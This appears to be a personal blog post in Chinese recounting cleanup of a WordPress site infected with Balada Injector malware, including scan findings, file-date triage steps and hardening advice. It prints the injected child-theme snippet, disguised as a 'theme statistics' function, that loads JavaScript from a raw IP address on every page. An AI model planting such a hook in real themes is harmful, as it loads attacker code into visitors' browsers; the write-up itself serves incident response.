事件開端
Status:
- 根據網站原本已預先規劃運作的維護報告,每日安全漏洞與資安狀態掃描,顯示出檢測到了有惡意軟體的狀況。
- 這導致一個外部 JS 資源 “https://147.45.47.87/scripts/theme.js” 被額外加載,並在前端的幕後企圖連至 StickyADS.tv Ad (ads.stickyadstv.com)。
啟動調查
- 惡意軟體詳情:VirusTotal – URL
- 相關資安文章: WATCH OUT! 1 Million+ WordPress Sites Infected with Balada Injector Malware | LinkedIn
- Balada Malware 是什麼?
Balada Injector 惡意軟體對全球的 WordPress 網站所有者構成嚴重威脅。它入侵、影響網站的方式包括:利用主題和外掛程式的漏洞來破壞網站安全,竊取數據;建立假管理員帳戶並保持持續的訪問權限;使用過時的外掛、未經授權的主題和外掛;此外,密碼強度低的 WordPress 網站最容易受到 Balada Injector 惡意軟體的攻擊。 via WATCH OUT! 1 Million+ WordPress Sites Infected with Balada Injector Malware | LinkedIn
- 在釐清狀況後,依下列步驟進行處理:
- 首先,當然是完整的備份
- 以 SSH 使用文字指令,列出根據維護報告中顯示的日期的前後一天內被修改的檔案。
- 先辨別出,修改日期在 4 月 3 日檔案,且在全站更新後,修改日期仍未被改變 (未被覆蓋更正) 的檔案。
- 發現在子佈景主題中 (通常在更新時不會被覆蓋) ,在檔案中多了一段額外的代碼片段會呼叫外部 JS:
function.php
/* Theme statistics function */
function wptheme_stat() {
?>
<script async src="https://147.45.47.87/scripts/theme.js"></script>
<?php } ​ add\_action("wp\_head", "wptheme\_stat");
- 清除所有快取並重新掃描,直到從每個資安服務商的檢測標準下,都顯示為 “已驗證乾淨正常” 的檢測結果。
建議與改進
- 定期備份網站
- 保持佈景主題與外掛至最新版
- 使用來源受信任的 WordPress 佈景主題與外掛
- 使用高強度密碼
- 為所有使用者啟用 2FA 雙因驗證登入機制
- 導入可靠的惡意軟體掃描工具或服務
提醒
在這個案例中,我順便在測試環境中嘗試使用了幾款安全外掛,包括 Wordfence ,但都未能識別出問題,更不用說要幫忙抓出受影響的檔案了。
Sucuri 是在這其中,唯一能藉由他們的線上服務或外掛來識別到這個問題的資安服務商。這結果顯示出,Balada injector 惡意軟體是不容易被查覺、檢測出來的。 做得好,Sucuri!